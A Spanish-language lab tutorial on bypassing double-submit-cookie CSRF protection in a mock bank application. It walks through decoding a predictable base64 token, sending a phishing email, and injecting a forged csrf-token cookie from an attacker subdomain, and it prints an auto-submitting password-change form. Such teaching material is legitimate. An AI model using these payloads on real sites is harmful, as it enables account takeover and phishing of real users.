Double Submit Cookie Bypass

Vista Previa

Hemos observado que sin tokens CSRF, la aplicación web del banco era susceptible a vulnerabilidades, exponiéndolo a potencial explotación. Sin embargo, la introducción de tokens CSRF mejora significativamente la seguridad.

Un token CSRF es un valor único e impredecible asociado a la sesión de un usuario, asegurando que cada petición viene de una fuente legítima. Una implementación efectiva es la técnica de subida doble de cookies, donde un valor de cookie corresponde a un valor en un campo de formulario hidden. Cuando el servidor recibe una petición, comprueba que el valor de la cookie coincida con el del campo, dando una capa de seguridad extra.

¿Cómo Funciona?

• Generación de Token: Cuando un usuario inicia sesión, el servidor genera un token CSRF único. Este token es mandado al navegador del usuario como cookie y campo hidden del formulario web donde se realiza la acción.
• Acción del Usuario: El usuario rellena el formulario, el cual contiene el campo escondido con el token CSRF.
• Subida de Formulario: Al subir el formulario dos versiones del token CSRF son mandadas, una en la cookie y la otra como parte de la información del formulario.
• Validación de Servidor: El servidor comprueba que el token CSRF en la cookie coincide con el mandado en el formulario. Si coincide, la petición se considera legítima y se procesa; si no, se rechaza.

Escenarios Posiblemente Vulnerables

A pesar de su efectividad, es crucial reconocer que los hackers son persistentes y han identificado varios métodos para bypassear el Double Submit Cookies:

• Secuestro de Cookie de Sesión (MITM Attack): Si el token CSRF no está aislado correctamente y guardado de la sesión, un atacante podría acceder a él de alguna forma.
• Subversión de la Política del Mismo Origen (Subdominio Controlado por el Atacante): Un atacante puede configurar una situación donde la política de same origin del navegador se rompa.
• Explotar Vulnerabilidades XSS: Un atacante puede obtener el token CSRF de una cookie o página si la aplicación web es susceptible de XSS.
• Predecir o Interferir con la Generación de Tokens: Un atacante puede adivinar o modificar el token CSRF si los tokens no se generan de forma segura y son predecibles o si pueden alterar el proceso de generación de tokens.
• Inyección de Cookies de Subdominio: Inyectar cookies en el navegador de un usuario desde un subdominio relacionado es otra técnica sofisticada que puede ser usada.

¿Cómo Funciona?

Ahora veremos cómo funciona el ataque, conectándolo al ejemplo anterior. Esta técnica encadena dos escenarios vulnerables invirtiendo la generación de token e inyectando una cookie a través de un subdominio controlado por el atacante.

• El atacante ha transferido de forma exitosa la cantidad de dinero de la cuenta de Josh pero es más avaricioso y quiere tomar control completo de otra cuenta de banco.
• Para explotar la cuenta, el atacante debe acceder a la cuenta, ¿pero cómo? Requiere la contraseña de la cuenta de Josh.
• Explotar una vulnerabilidad como CSRF requiere bastante entendimiento de código y funcionalidad de la lógica del servidor desde el punto de vista del desarrollador. El atacante inicia sesión en su cuenta de banco y nota que el formulario de subida para actualizar contraseñas está protegido por un token CSRF.

<form method="post" action="">
        <label for="password">Password:</label>
        <input type="password" id="password" name="new_password" required>

        <label for="confirm_password">ConfirmPassword:</label>
        <input type="password" id="confirm_password" name="confirm_password" required>
		<input type="hidden" id="csrf_token" name="csrf_token" value="<?php echo $_COOKIE['csrf-token']; ?>">
        <button type="submit" name="password_submit" >Update Password</button>
    </form>submit">
</form> 

• Pero ¿resuelve eso el problema? Un atacante sólo puede bypassear esta medida de seguridad si encuentra una manera de hacerle ingeniería inversa al token.
• Abre la consola de Inspeccionar elemento del navegador para verificar cookies creadas localmente por la web.

• Los atacantes identificaron dos cookies relevantes en el navegador: csrf-token y PHPSESSID. Típicamente, PHPSESSID se genera aleatoriamente por el motor de PHP y no es fácil de revertirlo. Por eso el atacante coge el csrf-token y lo intenta con él.
• Usa Cyberchef para ver si puede decodearlo, y sorprendentemente sí puede.

• Nota que la string decodeada era su número de cuenta, significando que el desarrollador de la aplicación web necesitaba haber implementado tokens csrf mejor para evitar la explotación.

Sabemos que el atacante ya tiene accedo a mybank.thm por lo que puede inyectar la cookie falsa, es hora de preparar el payload.

Preparando el Payload

• Para que el ataque funcione, el atacante debería usar una técnica de ingeniería social para hacer que la víctima haga click en un link.
• El atacante preparará un email para hacer que el usuario cambie su contraseña. Preparó un email citando un intento de login sospechoso al email de Josh y se lo mandó.

• El email contenía un link a un subdominio controlado por el atacante (attacker.mybank.thm) con un formulario de actualización de contraseña similar al del banco. El formulario también tenía un token CSRF configurado como parámetro hidden.

<form method="post" action="http://mybank.thm:8080//changepassword.php" id="autos">
    <label for="password">Password:</label>
    <input type="password" id="password" name="current_password" value="<?php echo "GB82MYBANK5697" ?>" required>

    <label for="confirm_password">ConfirmPassword:</label>
    <input type="password" id="confirm_password" name="confirm_password" value="Attacker Unique Password" required>
	<input type="hidden" id="csrf_token" name="csrf_token" value="Decrypted Token Value">
		

	<button type="submit" name="password_submit"  id="password_submit" >Update Password</button>
</form>
	
</div>
	<script>
		document.getElementById('password_submit').click(); 
	</script>
        

• En el código de arriba, el atacante actualizará el payload y añadirá el valor en base64 de la cuenta del banco de Josh como nuevo token CSRF.
• Navega hasta el correo de Josh (mailbox.thm:8081) para ver el nuevo email del payload CSRF.

• Una vez que hagas click en el link, te redirigirá al subdominio controlado por el atacante. El atacante contiene un código similar al de cambiar la contraseña de mybank.thm. Sin embargo, también está configurando una cookie con el siguiente código para que sea redirigido al dominio principal.

<?php
...
setcookie(
    'csrf-token',               
    base64_encode("GB82MYBANK5699"),            
    [
        'expires' => time() + (365 * 24 * 60 * 60), 
        'path' => '/',                         
        'domain' => 'mybank.thm',                          
        'secure' => false,                      
        'httponly' => false,                 
        'samesite' => 'Lax' 
    ]
);
?>

• El atacante sabe el parámetro hidden y el formulario subirá la información, incluyendo los campos hidden, a la página original de cambio de contraseña. Veamos qué pasa del lado del servidor.

<?php
if (base64_decode($_POST["csrf_token"]) == base64_decode($_COOKIE['csrf-token'])) { 
// Retrieve form data
$currentPassword = $_POST["current_password"];
$newPassword = $_POST["confirm_password"];
// Update Password
...;

• Como vemos arriba, el servidor decodea el token CSRF y lo compara con el valor de la cookie. El servidor considera la petición legítima si viene de un usuario logueado y el token CSRF es válido.

¿Cuál es el Link Faltante?

El script del lado del servidor validó correctamente al usuario. Sin embargo, el token CSRF era fácil de predecir y por lo tanto el atacante pudo lanzar un ataque de CSRF construido.

Securizando la Brecha

• Desde la perspectiva del pentester, es esencial validar el flujo completo de petición/respuesta, comprobar por doble partida si los parámetros tienen alguna vulnerabilidad como tokens fácilmente adivinables.
• Desde la perspectiva del desarrollador, asegurar que los métodos de generación de tokens sean únicos y difíciles de adivinar.
• El equipo IT del banco rápidamente identificó el problema y actualizó la generación de tokens para que fueran único y difíciles de adivinar.
• Abre la bandeja de entrada de Josh y ve hasta el email con la insignia verde.

• Usar el mismo payload no funcionará porque el servidor ha implementado correctamente tokens CSRF seguros e impredecibles.